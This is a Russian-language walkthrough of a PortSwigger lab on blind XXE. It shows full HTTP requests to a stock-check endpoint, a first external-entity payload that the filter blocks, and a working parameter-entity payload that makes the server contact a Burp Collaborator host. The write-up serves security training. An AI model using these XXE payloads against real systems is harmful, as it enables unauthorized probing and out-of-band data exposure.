Для прохождения нужно отправить DNS-запрос, эксплуатируя уязвимость Blind XXE.
https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net/
Solution
Я написал достаточно много райтапов на Port Swigger, и, возможно, не всем понятно, зачем я добавляю ссылку на поднятую лабу. Так вот, это для моего удобства, чтобы поставить фильтр в Burp на запросы, которые содержат данный домен и поддомен)

Иначе это выглядит вот так:

Вернемся к лабе. Похоже на то, что XXE опять в Check Stock, поэтому перейду туда. Вот запрос:
POST /product/stock HTTP/2
Host: 0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Cookie: session=RLNCYmowyVXL6CM6X4t5Jj7CPuTNBMhl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Попробую отправить запрос на Burp Collaborator. Вот сгенерированная ссылка:
7owf9flscilj765mfu9bfkre85ex2nqc.oastify.com
Соберу XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE payload [ <!ENTITY xxe SYSTEM "http://7owf9flscilj765mfu9bfkre85ex2nqc.oastify.com"> ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
&xxe;
</storeId>
</stockCheck>
Добавлю в запрос и отправлю:
POST /product/stock HTTP/2
Host: 0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Cookie: session=RLNCYmowyVXL6CM6X4t5Jj7CPuTNBMhl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 107
Origin: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE payload [ <!ENTITY xxe SYSTEM "http://7owf9flscilj765mfu9bfkre85ex2nqc.oastify.com"> ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
&xxe;
</storeId>
</stockCheck>
Любопытно:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 47
"Entities are not allowed for security reasons"
Попробую другой подход:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE payload [ <!ENTITY % xxe SYSTEM "http://97ehsh4uvk4lq8ooywsdymagr7xzlq9f.oastify.com"> %xxe; ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Тут я определил параметрическую сущность, которая ссылается на Burp Collaborator:
<!ENTITY % xxe SYSTEM "http://97ehsh4uvk4lq8ooywsdymagr7xzlq9f.oastify.com">
Затем эта сущность вызывается с помощью %xxe;, что позволяет обойти ограничение. Вот итоговый запрос:
POST /product/stock HTTP/2
Host: 0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Cookie: session=RLNCYmowyVXL6CM6X4t5Jj7CPuTNBMhl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net/product?productId=1
Content-Type: application/xml
Content-Length: 247
Origin: https://0ab1006604ea7b1e800f443c00660089.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE payload [ <!ENTITY % xxe SYSTEM "http://97ehsh4uvk4lq8ooywsdymagr7xzlq9f.oastify.com"> %xxe; ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Сработало:

Лаба решена)
